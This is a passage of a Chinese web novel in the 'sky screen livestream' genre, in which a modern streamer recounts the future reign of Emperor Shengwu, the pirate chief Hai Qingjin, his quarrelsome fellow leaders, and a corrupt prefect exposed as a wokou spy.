毕竟,他的几个儿子,要么骁勇善战,要么智谋过人。 可现在,他却发现,就算他有再多儿子又如何,加起来还比不上人家的一根苗。 他原先对格巴这个儿子最是满意,但这些时日的天幕看下来,他却越发鲜明地感受到了格巴与盛武帝之间的差距有多大。 东桀单于发自内心地相信,若是凌戈此刻是他的儿子,那他刚才交给格巴的任务,凌戈就绝对有办法能给他办成。 京师皇宫里,凌戈倒是不知道遥远草原上的东桀单于,竟然还萌生了想给他当爹的心思。 他在许三九结束这次的天幕直播后,又和盛昭帝唠嗑了一会儿,然后才起身走出安寿宫,回到御书房去继续批奏折。 而在凌戈离开以后,眼见宫中只剩下魏平,盛昭帝坐回到榻上,他脸上笑意消失,突然轻声叹了一口气。 魏平注意到盛昭帝这情绪变化,心中正在暗自揣测原因时,他就听到盛昭帝骤然朝他说道: “魏平,实话跟你说,看完今天这天幕后,老夫真是再次庆幸,还好凌戈是老夫的儿子,不然老夫此刻真是进退两难,不知如何是好。” 盛昭帝很是明白,“水能载舟,亦能覆舟”这句话的含义。* 若是天下绝大多数人的民心都站在凌戈那边,那他这个皇帝,又还能够穿几天龙袍呢? 魏平虽然过去当了那么多年的太监总管,但他家中也是苦寒出身,不然也不至于把他卖进宫中做太监。 所以,他瞬间也理解了盛昭帝为何会发出这番感慨。 因为他也很清楚,若是他当年没进宫,此刻只是一个民间普通老百姓,那他肯定也会选择站在凌戈这位盛武帝那边。 不过,他这些想法,永远都只能藏在深不见光的内心深处。 所以,听完盛昭帝的话后,他当即就朝盛昭帝轻声安慰道: “主子,奴才之前就一直跟您说,您老是有大功德的人,上天必将垂怜主子,您当时还不信,觉得我就是想拍您马屁。但您现在瞧瞧,上苍若不是庇佑主子,又怎么会降下天幕,以帮主子您和陛下父子团圆呢?” 魏平不愧是伺候盛昭帝多年的人,他这一番话,瞬间就说到了盛昭帝的心坎里。 盛昭帝回想起自己原来在天幕上的结果,这么一对比,他顿时也觉得,自己确实还是运势不错。 他原本有些失落的神态,不由又重新露出了高兴的笑容。 盛昭帝知道凌戈如今贵为天下之主,肯定什么都不缺,再一想到孟雪姝报名参加了县试的消息,他便朝魏平道: “魏平,科举备考最是劳心费神,你待会去老夫的私库里挑些养神滋补之物,送去孟相府中给我那儿媳妇。” 盛昭帝爱屋及乌,想要借着送东西这事,向外界释放出他支持孟雪姝应举的态度。 魏平自然是看出了盛昭帝这意思,于是当即笑着应下声来。 而盛昭帝的这个举措,也确实很是有效。 孟府如今是京师各方势力关注的焦点所在,魏平前脚刚去孟府为孟雪姝送赏赐,这个消息后脚就迅速在京师各个势力间流传了开来。 见连盛昭帝这个未来公爹都站出来替孟雪姝撑腰,众人自然也就更加看清楚了皇家的态度。 一时间,孟雪姝更是成了京师众多人家羡慕的对象。 作者有话说: 【1出自苏洵《衡论?远虑》;2出自《荀子?王制》】 第66章 直播7:急什么急?赶着…… 正所谓,上有所好,下必甚焉。* 盛昭帝让魏平去送礼的那天,正好是县试结束报名前的倒数第五天。 原本,随着报名时间到达尾声,报名的人数开始一天天逐渐减少。 但在这往后的五天时间里,每天报名科举的女子数量,骤然又开始多了起来。 凌戈一直有在关注这次的县试报名情况。 所以,京师这边的县试报名情况一出现变化,他迅速就得知了消息。 凌戈当然知道导致这些女子突然过来报名的原因都大不相同。 但对于这个情况,他依然乐见其成。 即使这些女子未必人人都能通过县试,但既然她们已经迈出了第一步,那未来是不是也存在“不为良相,便为良医”这样的可能性?* 无论是让女子参与科举,还是建立公办免费医学院,这些都是凌戈势在必行的事情。 而这两件事情,恰好也正是大盛百姓如今每天都在热议的话题。 不过,还没等这两件事的热度降下去,许三九的身影就又重新出现在了天幕上。 她笑容灿烂地朝镜头打了一声招呼: 【宝子们,勤劳堪比小蜜蜂的三九我又回来啦!】 【上一期的视频播出后,三九我在后台收到很多宝子的私信,都强烈希望我能讲一讲盛武帝麾下的另一员得力猛将,也就是海王海青谨这个历史人物】 【正好我对海青瑾也颇有好感,之前了解过不少相关史实,所以这一期,咱们就来讲讲海青谨这个海王波澜壮阔的一生】 天幕下,元宝岛,海王寨。 刚打劫完两艘商船的一众海盗,本来正热闹地聚集在寨子的院中盘点和瓜分赃物。 突然听到“海青瑾”这个熟悉的名字,海盗们一个个都突然楞了一下。 一个络腮胡男望向旁边的同伴,直接大咧咧地问道:“铁牛,咱大当家是不是就叫海青瑾这么一个名字呀?” 他话音刚落,他同伴就狠狠瞪了他一眼,低声呵斥道:“蠢货,你想死是吗?赶紧闭嘴!” 原本,因为今天大胜而归,整个海王寨的一众海盗都很是兴奋激昂。 看到许三九在天幕上出现时,他们还觉得这是双喜临门,自己今天又有热闹可瞧了。 可当听到许三九说海青瑾竟然是盛武帝的麾下猛将后,海盗们之间的气氛瞬间就变得怪异了起来。 “真是有趣!”海王寨的二当家殷笠霄这时突然出声,打破了寨里的沉默。 他望向坐在上首的海青瑾,阴柔俊美的面容上浮现一抹讥讽的笑:“大当家,你被那盛武帝招安时,应该不会落下我吧?” “哼,就算落了你又如何?你难不成以为你殷笠霄有那么重要不成?” 说这话的人并非海青瑾,而是对海青瑾颇为推崇的四当家明迎宸。 殷笠霄见他跳出来帮海青瑾说话,嘴角笑意瞬间更冷:“是,他海青瑾若真想被招安,肯定不会忘记带上你这么一条好狗!” “行了,都别吵了,大家都是从小一起长大的兄弟,没必要互相猜忌来猜忌去!” 说话的人依然不是海青瑾,而是海王寨的三当家左恒。 光是看他温文尔雅,透着书卷气的外表,绝对没人能想得到他竟然就是海王寨的三当家。 但他在寨中却地位颇高,因为寨中过往的所有赃物,都是他在负责联系人出手,而且每每都能卖出高价。 不过,对于他这个“财神爷”出来打圆场这件事,殷笠霄却依然不买账,他直接冷笑了一声: “我是问大当家要一个交代,和你左恒又有什么关系,用不着你在这假惺惺地当和事佬!” 见殷笠霄如此咄咄逼人,相貌温和的左恒眼中飞速闪过了一丝锋芒。 就在这时,一直单手撑着下巴的海青瑾终于开了口,他声音慢悠悠,但却是很不客气: “急什么急?赶着要去投胎呢?再吵就滚到外面去,都吵得我听不着三九姑娘在说什么了。” 照理来说,殷笠霄听到海青瑾这个回应,应该是勃然大怒才对。 然而,当海青瑾锐利的眼神落在他身上时,他却是瞬间就哑火了下去。 明迎宸见到他这般模样,嘴角顷刻间勾起一抹嘲讽的笑: “贱骨头!就是欠大当家收拾!” “你也闭嘴!” 海青瑾不耐烦地瞥了明迎宸一眼。 明迎宸听到海青瑾这话,本来还想委屈地开口替自己辩驳,但看到海青瑾眉头微拧,还烦躁到用舌尖顶了下腮帮后,他顿时又默默将已经到嘴边的话给咽了回去。 …… 【三九我当初学初中历史时,课本上对于海王海青瑾的笔触并不是很多,只是简单介绍说在盛武帝的要求下,海青瑾组建起了大盛第一支远洋海军,使得大盛当时的海军实力在世界上堪称举世无双】 【当时,三九我先入为主地以为,海青瑾应该是像赵之翎将军那样,也是良家子出身才对。至于民间对海青瑾的“海王”称号,也应该是因为感恩其对大盛海军立功颇多】 【所以,当我在看国家台的军事农业频道时,听到那个海军专家介绍说海青瑾原来是东南沿海的大海盗头子,我简直惊得眼睛都睁圆了】 【而海青瑾最初之所以会被人称为海王,也是因为其掌控的海盗集团名为海王寨,再加上海王寨当时在沿海地区颇有影响力,所以沿海百姓久而久之便将海青瑾这个海盗头子称为海王】 【不过,和大多数臭名昭著的海盗不同,海青瑾和其带领的海王寨,当时在东南沿海却是颇受老百姓的欢迎】 【因为,自从海青瑾继承了海王寨以后,海王寨每次下手的目标,基本就都是那些权贵豪强的走私商船】 【在盛武帝登基之前,大盛长期以来执行的都是严格的海禁政策,禁止民间与海外进行贸易往来】 【但这条海禁政策,主要针对的是普通平民百姓,那些有权有势的人,则是借着这条禁令,做起了垄断的走私贸易,从而赚得盆满钵满】 【海青瑾劫掠这些狗大户的走私商船,百姓们明面上不敢表示什么,但私下里却都是拍手叫好,觉得海青瑾这些海王寨的海盗真是干得漂亮,替平日里没少被豪强欺凌的百姓们出了一口恶气】 天幕下,随着许三九的叙说,海王寨原本紧绷的氛围也慢慢松弛了下来。 等听到许三九在天幕上说百姓都很赞赏他们时,海王寨的一众普通海盗更是喜不自胜,还有不少人兴奋到吹起了口哨。 殷笠霄望向海青瑾,见他浅棕蜜色的俊美面庞上,依然神情淡淡,他忍不住阴阳怪气地开口道: “大当家,您这可真是算无遗策!您该不会在那个时候,心里就已经想着招安这事了吧?!” 在海青瑾继承海王寨之前,海王寨的行事作风还不是现在这般模样,是海青瑾以一己之力,强硬将只抢劫走私商船这条规定给推行了下去。 海青瑾当时向众人给出的理由,是说走私商船的金钱价值更大,只要能办成一个大单,基本就能快活个半年左右。 海青瑾早就习惯殷笠霄说话夹枪带棍的作风,他直接朝殷笠霄说道: “你要是再拿招安这事叽叽歪歪,我待会就直接去找大盛的官府,让他们把我给招安了。” 殷笠霄本来就是因为对海青瑾接受朝廷招安这事心存膈应,所以才又故意拿话刺海青瑾。 现在听到海青瑾这么说,他瞬间更是一阵心梗,但却还真的不敢再开口拿招安这事作伐子。 因为他也熟知海青瑾的行事风格,知晓海青瑾向来是说一不二的霸道性子。 明迎宸看到殷笠霄在海青瑾那里吃瘪,脸上直接就露出了幸灾乐祸的笑容。 就连左恒,也是默默端起茶杯抿了一口茶,借此掩饰自己往上翘的嘴角。 显然,对于殷笠霄这个刺头二当家,明迎宸和左恒心中其实都很是厌烦。 而此时的皇宫里,凌戈原本皱着的眉头,则是微微舒展了开来。 如果海青瑾是那种只会“抽刃向更弱者”的海盗,那么无论海青瑾的个人能力有多强,凌戈都不会接受这么一个双手沾有百姓鲜血的恶徒。 现在,海青瑾只是将目标锁定那些豪强的走私商船,那这就属于是灰色地带的“黑吃黑”。 凌戈并不会那么介意这种行为,因为他知道那些权贵豪强对于底层百姓的剥削有多残酷,不然的话,老百姓也不至于会在私下里盛赞海青瑾他们。 作者有话说: 【1出自《孟子?滕文公上》;2引用出自范仲淹】 第67章 直播7:她就只会给你拖…… 天幕上,许三九嘴角微勾: 【当然,如果只是对无良大户下手,那还不至于让老百姓发自内心地将海青瑾称为海王】 【三九我现在说出来,可能会有宝子觉得不敢置信,但根据史料记载,海青瑾在还没有接受盛武帝招安之前,竟然会在每次台风过后,带着手底下的一帮子海盗们,去帮他控制的那几个海岛上的其他普通百姓修缮被台风吹坏的房屋】 【三九我说句实在话,这实在不像是一个海盗能干出来的事情】 【而更让人出乎意料的,是海青瑾这个海王,甚至还会帮着沿海百姓一起抗击倭寇】 【例如,在泰安二十六年,也就是盛昭帝执政的最后那年11月时,当时倭寇借着鲁王宫变、大盛内乱这个时机,集结出动了六百艘战船,对大盛东南沿海各城进行了惨无人道的烧杀掳掠,最终屠杀了两万余民百姓】 【更令人发指的是,他们还故意摧毁了东南沿海的多处海堤,以至于众多村庄与稻田都被汹涌的海水淹成了一片泽国,近十万民众沦为了无家可归的灾民】 【等到大盛终于组织起成建制的反击时,那些倭寇却已经裹挟着抢来的各种金银珠宝,逃回到了船上,潇洒驶向了大海的深处】 天幕下,东南沿海的诸多百姓们,此刻脸上神情都一片发白。 对于他们而言,“倭寇”这个词简直是如梦魇般的存在。 每次只要有倭寇进犯来袭,他们就必定会经历一场浩劫。 很多人都因此与倭寇有着永世难忘的血海深仇。 而皇宫里,凌戈此刻脸上神情也是一片寒霜。 如果不是因为鲁王已经在前阵子被盛昭帝给处死,他此刻是真恨不能把鲁王给千刀万剐了。 许三九在天幕上说的那些伤亡数据,以及倭寇故意破坏海堤的滔天罪行,都让凌戈感到一阵怒火中烧,恨不能现在就可以将倭寇给犁庭扫穴。 …… 【那些逃到大海上的倭寇,以为自己已经是逃出生天,所以都很是得意忘形,甚至在船上就开起了狂欢的庆祝宴】 【然而,他们却不知,他们在东南沿海做的那些畜生行径,彻底惹怒了海青瑾这个海王】 【所以,海青瑾直接调用了自己当时名下的两百多艘战船以及八千余名部下,借助地形和天气条件,对飘飘然到忘其所以的倭寇进行了一次大伏击】 【海青瑾这次出其不意的痛击,给倭寇造成了大量的伤亡,也沉重地打击了倭寇不可一世的嚣张气焰】 【根据倭寇那边后来对这次伏击的分析,海青瑾他们一共杀伤了四千多名海盗,同时抢回了一千多个原本被倭寇掳走的大盛子民】 【当然,海青瑾这次伏击,也并不是毫无伤亡,但比起损失惨重的倭寇而言,海青瑾这边可以称得上是大获全胜】 【也正是因着海青瑾对倭寇发起的这次伏击,其“海王”称号才在东南沿海广泛传了开来】 天幕下,元宝岛,海王寨。 殷笠霄瞥了坐在上首的海青瑾一眼,故意说道:“什么海王,我看该叫海大善人才对,再这样下去,咱们直接从良得了,还当什么海盗呀?” 海青瑾看都没看殷笠霄一眼,直接把他的话当作耳旁风无视了。 殷笠霄看到他对自己漠然置之的态度,脸上这时才是真的浮现出了恼怒之色,但却又拿海青瑾没办法,只能恨恨地瞪着海青瑾,仿佛这样就能泄恨一般。 明迎宸看到他目光死死地盯着海青瑾,顿时就想开口骂他是不是有病,但就在这时,一个女人的身影出现在了院中。 当看到女人出现,其余海盗纷纷朝她出声问候,原本安然坐在椅上的海青瑾也站起了身,甚至还朝前走了几步,朝女人迎了过去。 海青瑾望向女人,眸光微微柔和了下来,“夫人,你怎么突然过来了?你如今身子不便,有事直接让人喊我过去就行,何必自己亲自跑一趟?” 女人名叫宣琳,如今因为怀孕,肚子已经显怀,微微隆起。 听到海青瑾朝自己说的话后,她脸上露出一抹温婉的笑容:“我看到天幕上提到你,就想过来看看你。” 海青瑾知道宣琳是担心自己,嘴角瞬间轻轻扬起,朝宣琳说道:“没事的,这里翻不起什么大风大浪。” “哼,就算有事又能如何,她一个女人难不成还能帮上什么忙不成?” 听到殷笠霄这话,海青瑾回头冷冷看了他一眼。 殷笠霄梗着脖子,直直与海青瑾对上视线: “怎么了,我难道有哪里说错了吗?真要是出了事,她就只会给你拖后腿!” 海青瑾觉得殷笠霄今天着实是有些烦人,直接就道:“拖不拖后腿,是我们夫妻间的事,用不着你多管闲事!” 殷笠霄听到海青瑾这话,瞬间气得咬牙切齿,眼眸中飞速闪过了一抹狠意。 就在现场气氛即将冷下来的这时,左恒这个三当家开了口,他眸光温和地望向海青瑾,说道: “大当家,二当家他也是好心提醒嫂子,怕这边乱糟糟的,会惊扰到嫂子。只是他这人性子急,说话也比较难听,你就消消气,没必要跟他计较那么多。” 海青瑾冷哼了一声,然后抬起手搀扶住宣琳,“夫人,咱们走,我扶你过去那边坐下歇会。” 宣琳笑着轻轻点了点头,随后,她似乎是无意般开口道:“我就知道还是夫君你最可靠,只要有你在,我就觉得很是心安。” 看到海青瑾和宣琳这般郎情妾意的模样,殷笠霄脸上的神情霎时间更是冷上了几分,眼眸中笼罩上一片阴翳。 左恒和明迎宸这两个人,周身的气压也好像骤然间压低了许多。 海青瑾原先坐着的椅子是把红木长椅,就算再多坐一个宣琳,也照样绰绰有余。 在扶着宣琳刚刚坐下,海青瑾便听到许三九在天幕上说道: 【在这次倭寇造成的大浩劫中,除了海青瑾这个海王发挥了关键性作用外,还有另外一个人,也起到了至关重要的影响】 【这个人就是当时的松江府知府白木川】 松江府,府衙里,听到白木川突然被提及,他身边的一干下属瞬间纷纷朝他贺喜。 但白木川脸上的笑,却是看起来有些勉强和不自然。 【如果不是白木川故意贪腐了松江府数年来的海堤修缮费用,那么倭寇也不至于那么轻松,就在松江府的海堤处制造出近五十处决口】 【而让人更加愤怒的是,白木川他还并不是一个普通的贪官,他事实上是倭寇长期以来安插在大盛内部的一颗钉子】 【正是因着白木川的通风报信,倭寇才会那么迅速就知道大盛京师出现宫变内乱的情况】 【也正是因为白木川给出的各种情报,倭寇才会对东南沿海各处的防务漏洞了如指掌】 【可以说,如果不是由于白木川,那么倭寇也不至于在当时给大盛的百姓带来那么惨烈的伤亡】 许三九说出的这番话,瞬间在大盛各地都炸开了锅。 第68章 直播7:你觉得女人比兄…… 原本,因为许三九刚才在天幕上的叙说,大家就已经对那些丧心病狂的倭寇恨到咬牙切齿。 现在得知这背后竟然还有内奸在里应外合,百姓们瞬间更是恨不能将白木川给碎尸万段。 尤其是那些东南沿海的百姓,此刻一个个简直是怒得睚眦欲裂 而松江府的府衙中,此刻院里气氛一片凝滞。 那些刚才还在拍白木川马屁的人,此刻脸上表情尽是震惊与尴尬。 对于白木川贪污海堤修缮公款这件事,他们并不是很意外,但白木川勾结倭寇这件事,确实就出乎了他们的预料。 通判朝自己的两个手下使了个眼色,他的两个手下当即上前,一左一右将已经瘫软在地上的白木川给提溜了起来。 通判:“关押到牢房里去,等待圣上发落。” 通判说罢,想到倭寇的奸诈阴狠,他又朝两个手下补充了一句: “你们俩这段时间也跟着他住到同一个牢房里,务必对他严加看管,不能让他出了任何差池!等这差事办好了,我再重赏你们两个!” 听到通判这话,他的两个手下自然更是高兴地应了一声“是”。 随后,白木川就被这俩人直接像是拖死猪一样给拖离了院中。 而在白木川离开以后,通判环视了一眼院中的其他同僚,见众人脸上神情都讪讪,他冷哼了一声,直接道: “等今天这天幕结束后,我自会向圣上写一封失察的请罪奏折,然后八百里加急送到京师,请圣上决断。” 大盛通判的职责之一便是对知府行使监察之责,所以通判说自己失察,确实不算说错。 通判望向那些避开自己视线的同僚,他直言说道:“你们当中,若是有谁想也要写一封请罪奏折,大可以待会和我那份一起呈送京师。” 通判当初虽然知晓,但并没有染指修缮海堤的费用,他知道按照大盛律法,自己失察这件事,最严重的处罚也不过就是罢官,不至于会有生命之危。 但此刻,站在院中的大多数官僚,这几年却是都跟着白木川一起贪污了海堤的修缮公款。 其中尤以那几个刚才拍白木川马屁最积极的人,贪污得最是过分。 现在天幕将白木川的事情全都捅了出来,朝廷接下来势必会派钦差到这边彻查到底。 院中的松江府官员,此刻大多心中都预料到了自己未来的结局。 于是,在通判说完那番话,院中静寂了一瞬,但没过一会儿,就纷纷有官员抢着开口表示说自己也想自首。 官员们虽然没近距离接触过凌戈,但从过去的几次天幕直播中,他们已经了解到凌戈这位新帝强硬的行事作风。 若是他们到了此刻,还想要负隅抵抗,那凌戈绝对只会从重处罚,饶不了他们。 而当他们听到许三九随后在天幕上说的话后,他们更是发自内心地庆幸,还好自己没有继续作死。 【虽然倭寇当时给大盛东南沿海带来了巨大的灾难,但因着大盛朝局那会儿正处于极度混乱时期,朝堂上根本分不出精力对东南沿海受灾的百姓进行救助】 【等到卫王随后从京师逃到南方,在世家豪强的支持下,占据住长江以南地区,他也依然没有对百姓施以援手】 【相反,他甚至还放纵各路权贵豪强,任由他们借着这次倭患对百姓进一步的欺压剥削】 【因为众多百姓的稻田被海水浸泡成了盐碱地,几年之内都无法种植粮食,那些权贵豪强便借此哄抬米价,垄断粮源,使得以鱼米之乡著称的东南沿海,竟然多地出现了严重饥荒】 【百姓的生活因此越发水深火热,许多人死于痛苦难耐的饥饿贫困之中】 【盛武帝当时人在西北,在得知了东南沿海百姓的凄惨遭遇后,他怒得直骂卫王是个废物,又蠢又坏!】 天幕下,京师一处普通民宅里,卫王头发蓬乱如草,身上锦袍也被洗得皱巴巴,看不出半点当初那意气风发的影子。 他自从前阵子得知鲁王这个死对头的死讯后,就吓得连家门都不敢迈出一步了。 如今听到许三九骤然在天幕上提及自己,他瞬间更是吓得双腿直打颤,生怕凌戈会在下一秒就让人找上门来。 他双眸忐忑惊惧地望着天幕,嘴巴里各种求神拜佛,祈盼天幕上的那个“卫王”可千万不要牵连到他。 【东南沿海自古以来就是富庶之地】 【盛武帝创办的自强商号,自然也将生意做到了那边,同时也在那边建立起了隐秘的情报据点】 天幕下,听到许三九这句话,朝野上下不少人脸上都露出了诧异的神色。 自强商号是这几年在民间迅速崛起的著名商号,因为其是从西北发家,且售卖货物主要是西北的奇珍异宝,所以还有人将其称为“西北第一商号”。 众人怎么都没想到,这样一个商号,背后的主人竟然会是凌戈这个盛武帝。 一时间,不少曾经和自强商号做过生意的人,都忍不住回想了一下,自己过去没给自强商号挖过什么坑吧。 但他们一番回想过后,瞬间放下了这个担忧,因为他们发现自强商号那边凡是能说得上话的人,有一个是一个,基本脑子都活泛得很。 皇宫里,凌戈自己也没料到,他隐藏了那么久的事情,这么突然就被许三九给曝光了出来。 不过,他虽然对这事感到有些意外,但也并不觉得这是什么大事。 事实上,他原先创办自强商号的目的,并不是为了什么情报,只是单纯想依靠商号,来为他之前认识的那些孤儿朋友提供一份养家糊口的工作。 这也正是他为商号起名为“自强”的原因。 后来,自强商号规模越办越大,越走越远,凌戈认为,这其实主要是他的朋友们经营有方。 他这个甩手掌柜,其实并没有对他们起到太多的帮忙,反而是时常受益颇多。 …… 【原先,白木川在与倭寇进行联系时,还比较小心缜密,没露出任何马脚来】 【但倭寇的这次袭击,实在是过于顺风顺水,盛武帝在看到自强商号送来的东南沿海情报以后,立刻就猜测到这里面应该是有内鬼在作祟】 【于是,他就让自强商号在东南沿海那边的负责人私下进行调查】 【最终,所有的线索,都明确指向了白木川的身上】 【而在那个时候,白木川还依然稳稳当当地做着他的松江府知府,卫王这个蠢货还将他奉为了座上宾,试图拉拢他做自己的谋士】 【盛武帝实在是被东南沿海的这些事情给气得不行,他直接隐瞒身份,亲自从西北赶到了东南沿海,带着人潜入白木川的府衙中,将白木川给绑了出来】 【原本,盛武帝绑白木川的目的,是希望能审问出更多关于他和倭寇勾结的细节,借此掌握抗击倭寇的线索】 【白木川养尊处优那么多年,自然是经不住盛武帝的雷霆手段,他很快就将自己所有的秘密都全盘托出】 【当得知白木川并非大盛人,父母都是倭寇多年前安插到大盛的倭人时,盛武帝也被倭寇的处心积虑给惊到了】 【而更让盛武帝感到吃惊的,是像白木川这样的倭寇后代,竟然在大盛还有十余人】 【好在,白木川就是这十余人的顶头上司,他对所有人的情况都了如指掌】 【于是,借着白木川的口供,盛武帝直接将这十余个倭寇奸细给一网打尽】 天幕下,白木川此刻还没被通判的两个手下拖入暗不见日的牢狱。 于是,当他听到许三九在天幕上说出的话后,他直接吓得失禁了。 两个押解他的官差本就因为他出卖大盛的事情,而对他厌恶到了极点。 现在见他竟然还尿了,有个官差气得直接将他一脚踹进了旁边的锦鲤池里,用脚死死地踩着他的背,让他在池塘里使劲扑棱了好一会儿后,才从他的背上移开脚。 白木川浑身湿漉漉地从锦鲤池里站起身来。 1月的池塘水寒若刺骨,他冷得浑身直打哆嗦,急忙爬了上岸。 等他站到岸上后,刚才那个踹他下水的官差直接朝他警告道: “你若是再敢随地就尿,给我们哥俩个添麻烦,你看我们哥俩怎么收拾你!” 白木川原来丝毫不将这种小官差放在眼里。 现在见连两个小官差都敢如此对待自己,他心中顿时是恨意滔天,可明面上却是不敢流露出半点不满的情绪。 通判这边,他原来是打算等凌戈指示的圣旨下来后,再让人对白木川进行审问。 但此刻听到除了白木川外,竟然还有那么多奸细安插在大盛,他当即就决定,必须立刻对白木川进行审讯,免得被那十几个奸细给逃了。 显然,刚才还有心思怨恨官差的白木川,接下来恐怕是提不起这念头了。 【盛武帝在将那些倭寇奸细都给绑架过来后,又让人对他们进行了单独的审问】 【直到确认白木川的确没有隐瞒任何人选后,他这才下令将那些倭寇全都凌迟处死,以告慰东南沿海过去因为倭寇袭扰而死去的众多百姓与将士】 【此外,他还让人将白木川等人的罪行,张贴在东南沿海诸城,向世人揭露了这些倭寇奸细的阴险卑鄙】 【而卫王在得知这事以后,一开始还很可笑地认为这一切都是鲁王试图扰乱东南沿海,所以放出来的烟雾弹】 天幕下,元宝岛,海王寨。 海青瑾看到这时,突然轻轻嗤笑了一声。 他的这般举动,瞬间引来了殷笠霄、左恒和明迎宸三人的注意。 海青瑾却没看他们三人一眼,而是望向坐在自己身边的宣琳说道: “若是这大盛的皇帝是那个什么狗屁卫王和鲁王,就算把我杀了,我都不可能被招安。” 海青瑾对凌戈是服气的,甚至在天幕出现之前,他就已经听说过凌戈在西北那边的赫赫威名。 但对于卫王和鲁王,海青瑾则是打心底里瞧不上,觉得他们不过是两个会投胎的庸碌之人。 宣琳如今已经很是了解海青瑾的性格,所以听到海青瑾这句感叹后,她脸上不禁露出了笑容。 她张开嘴,正打算回海青瑾这话时,殷笠霄很不爽地开了口: “大当家的,这招不招安的事,你难道不该跟我们三个商量吗?你找她这么一个认识都没超过半年的女人商谈,你这是觉得女人比兄弟还重要是吧?” 殷笠霄这话一出,左恒和明迎宸俩人也瞬间竖起了耳朵,想听听海青瑾会如何回答这个问题。 第69章 直播7:咱们要不还是别…… “你要是愿意这么想,那我也没办法。” 听到海青瑾这么敷衍的回答,殷笠霄瞬间“啪”一声从椅子上站起了身。 他怒目瞪向海青瑾,“大当家,你这话的意思,难不成是女人比兄弟重要?” 海青瑾见他气得脸都涨红了起来,直接就朝他翻了个白眼: “难道就不能是两者都一样重要吗?还有,少给我动不动就拍桌拍椅的,你搁这吓唬谁呢?要是再有下次,你以后再过来元宝岛这边,就直接站着说话好了!” 元宝岛主要是海青瑾的常驻之地,殷笠霄、左恒和明迎宸他们三人平时是在这附近另外三个岛上驻扎。 他们之所以这样安排,主要是为了在有外敌打过来时,形成攻守兼备的战术优势。 而海青瑾话音才刚落,殷笠霄就“咚”的一声又重新坐了回去,但他那双内勾外翘的丹凤眼,还是直勾勾地盯着海青瑾: “这凡事都有先来后到,凭什么她这认识你不到半年的人,就能跟我们这些从小和你认识的人平起平坐了?” 海青瑾和殷笠霄他们另外三个人,都是从上一代父辈手中接的班,然后才成为海王寨的当家人。 虽然他们四个的父辈在生前的关系,其实是貌合神离,海青瑾和殷笠霄俩人的父亲更是势同水火,但因为大家都同属海王寨,所以几家的孩子打小就经常接触。 明迎宸向来都是顺着海青瑾的意思,之前还没少因此被殷笠霄骂说是海青瑾的跟屁虫。 但此刻,听到殷笠霄朝海青瑾提起抗议,他忍不住也出声朝海青瑾道: “大当家,这次我支持殷笠霄,我也不服气你把她看得和我们一样重!” 海青瑾闻言,望向坐在自己斜对面的左恒,“你也和他们两个一样想法?” 左恒犹豫了一瞬后,还是坦诚地点了下头。 看到海青瑾竟然还主动找左恒询问,殷笠霄和明迎宸心中都以为海青瑾是真的听进了自己的不满。 他们望向海青瑾的眼神,不由都带上了几分期待。 就连左恒,也望着海青瑾,想听听海青瑾会不会因为他们而改变自己的态度。 海青瑾这时嘴角却突然微微上扬,他轻笑了一声: “三个毛头小子,等你们娶了媳妇后,你们就能理解我现在的想法了。” 海青瑾比殷笠霄他们大2岁,再加上已经成婚的关系,便将殷笠霄他们三人称为了毛头小子。 本来,底下的其他海盗都因为海青瑾和殷笠霄他们起冲突的事情,心情暗暗紧张了起来。 但在听到海青瑾这回答后,一众海盗瞬间都爆笑出声: “二当家,我看大当家他说得对,你们是真该抓紧把这成家的事情给忙活起来了!咱们这男人间的感情,和男女间的感情可不一样,只要你们成了家,我老欧保证,你们绝对就再也说不出刚才那样的话了!” “平日里看三位当家那么厉害,没想到在感情上的事,还是我铁锤懂得更多呢!” “哈哈哈哈哈,还是大当家看得准,确实是只有还没结婚的小年轻,才会纠结这种事!” 见殷笠霄他们三人此刻脸色都有些不太好看,海青瑾抬起手,稍稍提高说话声音: “好了,大家伙笑一下就得了,年轻人脸皮薄,别把他们给笑生气了。” 听到海青瑾发声,海盗们瞬间纷纷收敛住脸上的笑意。 “还有,谁家里要是有合适的姑娘,也可以介绍一下,早点帮咱们这三位当家把人生大事给办妥了。” 无论是从地位、能力还是外表,殷笠霄、左恒和明迎宸他们三人,都足以被赞一声“乘龙快婿”。 所以,听到海青瑾这吩咐后,家中有女儿的海盗瞬间发出了兴奋的欢呼声。 而殷笠霄、左恒和明迎宸听到海青瑾当众帮自己“征婚”的话语后,脸上表情一时间更是憋屈又郁闷。 刚才被他们三人针对的宣琳,注意到他们三人此刻的神色后,眼眸中不由闪过了一抹好笑。 …… 【盛武帝当初之所以隐瞒身份,主要是怕打草惊蛇,让白木川那些畜生给逃了】 【等收拾完白木川那些倭寇奸细,盛武帝也便没再刻意遮掩自己的身份】 【于是,卫王在调查了一番后,很快就发现原来白木川那些人是凌戈下的狠手】 【如果说鲁王是暴戾的代名词,那么卫王就是孬货的同义词】 【卫王对于盛武帝跑到他地盘上来“大开杀戒”的这种行为,虽然觉得很是恼火,认为盛武帝是在多管闲事,越过了界,但因为顾忌盛武帝当时在西北的威势,所以他就选择了默不作声的态度】 天幕下,东南沿海,百姓们三三两两地聚在一起。 当听到许三九说卫王认为盛武帝这是“多管闲事”时,很多百姓瞬间气得破口大骂: “这个什么混蛋王爷,我看就应该让那群倭寇砍了他的头,看他那时候还觉不觉得这是多管闲事!” “你如果指望这混球能同情怜悯咱们老百姓,那你还不如早点洗洗睡了呢!” “我看呀,这真正靠得住的,就只有咱们当今圣上!还好有这天幕出现,咱们用不着苦等那么多年,才能等到他登基!” 【在卫王统治南方地区的那近十年时间里,倭寇虽然没有再次发动大战,但中小规模的袭扰却是频频发生】 【倭寇每次上岸后,都会烧杀百姓,焚毁民房,给东南沿海百姓带来了数不尽的悲惨伤害,以至于东南沿海的百姓在那十年间,基本上是吓到闻倭色变】 【民间迫切希望卫王能够组织大家抗击倭寇,然而卫王生怕自己的兵力会因为倭寇而受到损害,所以每当倭寇进犯时,他都是采用龟缩战术,直接装死,继续在自己的所谓“江南皇宫”中,与那帮子世家豪强花天酒地,夜夜笙歌】 【他的这种无能和放纵,自然是不断养大了倭寇的胃口,使得倭寇越来越贪得无厌,欲壑难填】 【所以,即使在盛武帝将卫王的地盘都打了下来,把东南沿海都归入到自己的势力范围后,那帮愚蠢的倭寇依然没将大盛放在眼中,甚至还在晏安四年,也就是盛武帝男神他登基的第四年时,打算发动一次类似泰安二十六年的大突袭,再次将东南沿海洗劫一空】 【那些倭寇以为自己的情报很隐秘,但却不知,他们的作战计划刚一制定好,就迅速被人送了出去】 【原来,在那十年时间里,盛武帝一直都没有忘记倭寇对大盛百姓犯下的滔天罪孽,也一直在等着与倭寇清算血债的那一天】 